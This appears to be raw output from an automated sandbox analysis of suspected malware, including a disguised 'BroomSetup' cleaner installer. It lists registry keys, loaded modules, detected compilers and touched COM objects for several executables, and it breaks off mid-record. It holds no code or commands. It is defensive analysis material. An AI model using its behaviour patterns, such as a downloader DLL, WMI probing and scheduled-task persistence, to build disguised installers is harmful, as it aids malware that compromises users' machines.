00000000-00000640.00000001.80757.00260000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "HKEY_USERS\" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "!This program cannoHKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "HKEY_USERS\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\483f7b2a" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\TestApp" in Source: 00000000-00002512.00000001.82002.0B480000.00000004.mdmp "SOFTWARE\BroomCleaner" in Source: 00000000-00002856.00000000.80757.00220000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00002856.00000000.80757.00220000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00002856.00000000.80757.00408000.00000002.mdmp "SOFTWARE\BroomCleaner" in Source: 00000000-00002856.00000001.82683.00220000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00002856.00000001.82683.00220000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002856.00000001.82683.00220000.00000004.mdmp "SOFTWARE\BroomCleaner" in Source: 00000000-00002856.00000002.82814.00220000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002856.00000002.82814.00220000.00000004.mdmp "SOFTWARE\BroomCleaner" in Source: 00000000-00002856.00000002.82814.0040A000.00000004.mdmp "7204-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00004500.00000001.82966.002F0000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" in Source: 00000000-00004500.00000001.82966.002F0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Microsoft\OneDrive" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Microsoft\Windows Live\Common" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Microsoft\Windows Live\Common\Activations\%d" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Policies\Microsoft\SQMClient" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Microsoft\SQMClient" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Microsoft\SQMClient\%s\AdaptiveSqm\ManifestInfo" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Microsoft\SQMClient\%s\AdaptiveSqm\Throttling" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "SOFTWARE\Microsoft\Reliability Analysis\RAC" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Microsoft\SQMClient\Windows" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Policies\Microsoft\SQMClient\Windows" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "Software\Microsoft\SQMClient\UploadUrlMap" in Source: 00000000-00004500.00000001.82966.70891000.00000020.mdmp "7204-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00004500.00000002.84888.002F0000.00000004.mdmp "oftware\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" in Source: 00000000-00004500.00000002.84888.002F0000.00000004.mdmp "Software\Microsoft\OneDrive" in Source: 00000000-00004500.00000002.84888.70E41000.00000020.mdmp "Software\Microsoft\Windows Live\Common" in Source: 00000000-00004500.00000002.84888.70E41000.00000020.mdmp "Software\Microsoft\Windows Live\Environment\Sync" in Source: 00000000-00004500.00000002.84888.70E41000.00000020.mdmp "Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" in Source: 00000000-00004500.00000002.84888.70E41000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\EnableAutoTray" in Source: 00000000-00004500.00000002.84888.70E41000.00000020.mdmp4d:T448b,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 68940000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70f10000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "KERNEL32" at base 77740000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "ADVAPI32.DLL" at base 764e0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6bda0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "SHLWAPI.DLL" at base 776e0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "VERSION.DLL" at base 74bc0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 64ee0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "USER32.DLL" at base 75db0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "MSCOREE.DLL" at base 6be30000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "PSAPI.DLL" at base 75ec0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "RPCRT4.DLL" at base 75b00000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "KERNEL32.DLL" at base 77740000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 63ad0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "OLE32.DLL" at base 76620000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "CRYPTBASE.DLL" at base 75620000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 71150000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6b7e0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 63070000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 62850000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74510000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "SHELL32.DLL" at base 767d0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "PROPSYS.DLL" at base 743d0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "COMCTL32.DLL" at base 74620000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "OLEAUT32.DLL" at base 76410000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "CLBCATQ.DLL" at base 76590000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 743d0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "NTMARTA.DLL" at base 74b90000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 77980000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "PROFAPI.DLL" at base 75730000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "APPHELP.DLL" at base 755d0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6eb70000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 767d0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77740000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "SETUPAPI.DLL" at base 75bb0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 757c0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 75f00000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "SECUR32.DLL" at base 75460000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 757a0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71e50000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 755d0000 "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 68770000 "InstallSetup9.exe" loaded module "ADVAPI32.DLL" at base 764e0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 743d0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 74040000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTBASE.DLL" at base 75620000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 6beb0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\CLBCATQ.DLL" at base 76590000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\NTMARTA.DLL" at base 74b90000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74bc0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 71120000 "InstallSetup9.exe" loaded module "CRYPTBASE.DLL" at base 75620000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74510000 "InstallSetup9.exe" loaded module "OLE32.DLL" at base 76620000 "InstallSetup9.exe" loaded module "KERNEL32.DLL" at base 77740000 "InstallSetup9.exe" loaded module "COMCTL32.DLL" at base 74620000 "InstallSetup9.exe" loaded module "OLEAUT32.DLL" at base 76410000 "InstallSetup9.exe" loaded module "SETUPAPI.DLL" at base 75bb0000 "InstallSetup9.exe" loaded module "RPCRT4.DLL" at base 75b00000 "InstallSetup9.exe" loaded module "CLBCATQ.DLL" at base 76590000 "InstallSetup9.exe" loaded module "NTMARTA.DLL" at base 74b90000 "InstallSetup9.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 77980000 "InstallSetup9.exe" loaded module "PROFAPI.DLL" at base 75730000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 755d0000 "InstallSetup9.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 757c0000 "InstallSetup9.exe" loaded module "%TEMP%\NSI3737.TMP\INETC.DLL" at base 10000000 "InstallSetup9.exe" loaded module "DWMAPI.DLL" at base 74040000 "InstallSetup9.exe" loaded module "COMCTL32.DLL" at base 71f80000 "InstallSetup9.exe" loaded module "SECUR32.DLL" at base 75460000 "InstallSetup9.exe" loaded module "SHELL32.DLL" at base 767d0000 "InstallSetup9.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71e50000 "InstallSetup9.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 757d0000 "InstallSetup9.exe" loaded module "WS2_32.DLL" at base 75e80000 "InstallSetup9.exe" loaded module "WINHTTP.DLL" at base 71080000 "InstallSetup9.exe" loaded module "WININET" at base 76160000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 750f0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 750e0000 "InstallSetup9.exe" loaded module "IPHLPAPI.DLL" at base 73a80000 "InstallSetup9.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 72530000 "InstallSetup9.exe" loaded module "DNSAPI.DLL" at base 74fb0000 "InstallSetup9.exe" loaded module "DHCPCSVC6.DLL" at base 73990000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6d100000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74c50000 "InstallSetup9.exe" loaded module "RASADHLP.DLL" at base 71e70000 "InstallSetup9.exe" loaded module "DHCPCSVC.DLL" at base 73910000 "InstallSetup9.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 77980000 "InstallSetup9.exe" loaded module "CRYPTSP.DLL" at base 75130000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74ec0000 "InstallSetup9.exe" loaded module "URLMON.DLL" at base 75f00000 "InstallSetup9.exe" loaded module "RPCRTREMOTE.DLL" at base 756c0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6c820000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 76410000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 739f0000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 75e80000 "InstallSetup9.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 76160000 "toolspub1.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 68940000 "toolspub1.exe" loaded module "MSIMG32.DLL" at base 71140000 "toolspub1.exe" loaded module "KERNEL32.DLL" at base 77740000 "toolspub1.exe" loaded module "MSVCR100.DLL" at base 68880000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "MSIMG32.DLL" at base 71140000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "KERNEL32.DLL" at base 77740000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "MSVCR100.DLL" at base 68880000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "ADVAPI32.DLL" at base 764e0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "NTDLL.DLL" at base 77820000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "WINMM.DLL" at base 6e8e0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "WS2_32.DLL" at base 75e80000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "CRYPTBASE.DLL" at base 75620000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77740000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "POWRPROF.DLL" at base 743a0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "WTSAPI32.DLL" at base 73c10000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "WINSTA.DLL" at base 75690000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 77980000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "RPCRT4.DLL" at base 75b00000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "OLE32.DLL" at base 76620000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "CLBCATQ.DLL" at base 76590000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "CRYPTSP.DLL" at base 75130000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74ec0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "RPCRTREMOTE.DLL" at base 756c0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74510000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 6b830000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 764e0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6d700000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 76410000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "SXS.DLL" at base 75630000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "OLEAUT32.DLL" at base 76410000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6c9f0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6ca20000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6da70000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 6b7f0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 68fd0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 689b0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "NETAPI32.DLL" at base 73ff0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "SAMLIB.DLL" at base 74560000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74510000 "BroomSetup.exe" loaded module "CRYPTBASE.DLL" at base 75620000 "BroomSetup.exe" loaded module "DWMAPI.DLL" at base 74040000 "BroomSetup.exe" loaded module "WTSAPI32.DLL" at base 73c10000 "BroomSetup.exe" loaded module "USER32.DLL" at base 75db0000 "BroomSetup.exe" loaded module "WINSTA.DLL" at base 75690000 "BroomSetup.exe" loaded module "ADVAPI32.DLL" at base 764e0000 "BroomSetup.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 77980000 "BroomSetup.exe" loaded module "RPCRT4.DLL" at base 75b00000 "BroomSetup.exe" loaded module "UXTHEME.DLL" at base 74510000 "BroomSetup.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77740000 "BroomSetup.exe" loaded module "COMCTL32.DLL" at base 74620000 "BroomSetup.exe" loaded module "COLORUI.DLL" at base 6b7d0000 "BroomSetup.exe" loaded module "SHELL32.DLL" at base 767d0000 "BroomSetup.exe" loaded module "COMDLG32.DLL" at base 77420000 "BroomSetup.exe" loaded module "COMPSTUI.DLL" at base 6b820000 "BroomSetup.exe" loaded module "INETRES.DLL" at base 6c3b0000 "BroomSetup.exe" loaded module "MSIMG32.DLL" at base 71140000 "BroomSetup.exe" loaded module "GDIPLUS.DLL" at base 740a0000 "BroomSetup.exe" loaded module "KERNEL32.DLL" at base 77740000 "BroomSetup.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.7601.23894_NONE_5C0BE957A009922E\GDIPLUS.DLL" at base 740a0000 "BroomSetup.exe" loaded module "UXTHEME" at base 74510000 "BroomSetup.exe" loaded module "USER32" at base 75db0000 "BroomSetup.exe" loaded module "WINDOWSCODECS.DLL" at base 73ad0000 "BroomSetup.exe" loaded module "OLE32.DLL" at base 76620000 "BroomSetup.exe" loaded module "OLEAUT32.DLL" at base 76410000 "BroomSetup.exe" loaded module "CLBCATQ.DLL" at base 76590000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 743d0000 "BroomSetup.exe" loaded module "NTMARTA.DLL" at base 74b90000 "BroomSetup.exe" loaded module "SETUPAPI.DLL" at base 75bb0000 "BroomSetup.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 77980000 "BroomSetup.exe" loaded module "PROFAPI.DLL" at base 75730000 "BroomSetup.exe" loaded module "APPHELP.DLL" at base 755d0000 "BroomSetup.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 757c0000 "BroomSetup.exe" loaded module "%LOCALAPPDATA%\MICROSOFT\ONEDRIVE\17.3.4604.0120\FILESYNCSHELL.DLL" at base 70e40000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\EHSTORSHELL.DLL" at base 70cd0000 "BroomSetup.exe" loaded module "%PROGRAMFILES%\MICROS~3\OFFICE14\GROOVEEX.DLL" at base 70020000 "BroomSetup.exe" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\OFFICE14\CULTURES\OFFICE.ODF" at base 6fc00000 "BroomSetup.exe" loaded module "%PROGRAMFILES%\MICROS~3\OFFICE14\1033\GROOVEINTLRESOURCE.DLL" at base 6f390000 "BroomSetup.exe" loaded module "GDI32.DLL" at base 75d60000 "BroomSetup.exe" loaded module "IMM32.DLL" at base 75ee0000 "BroomSetup.exe" loaded module "COMCTL32" at base 74620000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 76620000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 779a0000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 755d0000 "BroomSetup.exe" loaded module "PROPSYS.DLL" at base 743d0000 "cmd.exe" loaded module "ADVAPI32.DLL" at base 764e0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 77740000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 755d0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "MSVCR100.DLL" at base 654f0000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 68900000 "31839b57a4f11171d6abc8bbc4451ee4.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 688c0000 "schtasks.exe" loaded module "RPCRT4.DLL" at base 75b00000 "schtasks.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 77980000 "schtasks.exe" loaded module "ADVAPI32.DLL" at base 764e0000 "schtasks.exe" loaded module "CLBCATQ.DLL" at base 76590000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\TASKSCHD.DLL" at base 73d30000 "schtasks.exe" loaded module "SSPICLI.DLL" at base 755b0000 "schtasks.exe" loaded module "XMLLITE.DLL" at base 740100004e:T4c4,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" was detected as ".NET" and name: "Library" "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" was detected as "Microsoft Linker" and name: "Linker" "BroomSetup.exe" was detected as ".NET" and name: "Library" "BroomSetup.exe" was detected as "Microsoft Linker" and name: "Linker" "31839b57a4f11171d6abc8bbc4451ee4.exe" was detected as ".NET" and name: "Library" "31839b57a4f11171d6abc8bbc4451ee4.exe" was detected as "Microsoft Linker" and name: "Linker" "InstallSetup9.exe" was detected as ".NET" and name: "Library" "InstallSetup9.exe" was detected as "Microsoft Linker" and name: "Linker" "rty25.exe" was detected as ".NET" and name: "Library" "rty25.exe" was detected as "Microsoft Linker" and name: "Linker" "toolspub1.exe" was detected as ".NET" and name: "Library" "toolspub1.exe" was detected as "Microsoft Linker" and name: "Linker" "INetC.dll" was detected as ".NET" and name: "Library" "INetC.dll" was detected as "Microsoft Linker" and name: "Linker" "CHCP.COM.6A98C882.bin" was detected as ".NET" and name: "Library" "CHCP.COM.6A98C882.bin" was detected as "Microsoft Linker" and name: "Linker"4f:Tf6d,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INPROCSERVER32") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "InstallSetup9.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") "InstallSetup9.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}") "InstallSetup9.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}") "InstallSetup9.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\LOCALSERVER32") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "WBEM Scripting Locator" (Path: "HKCU\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched 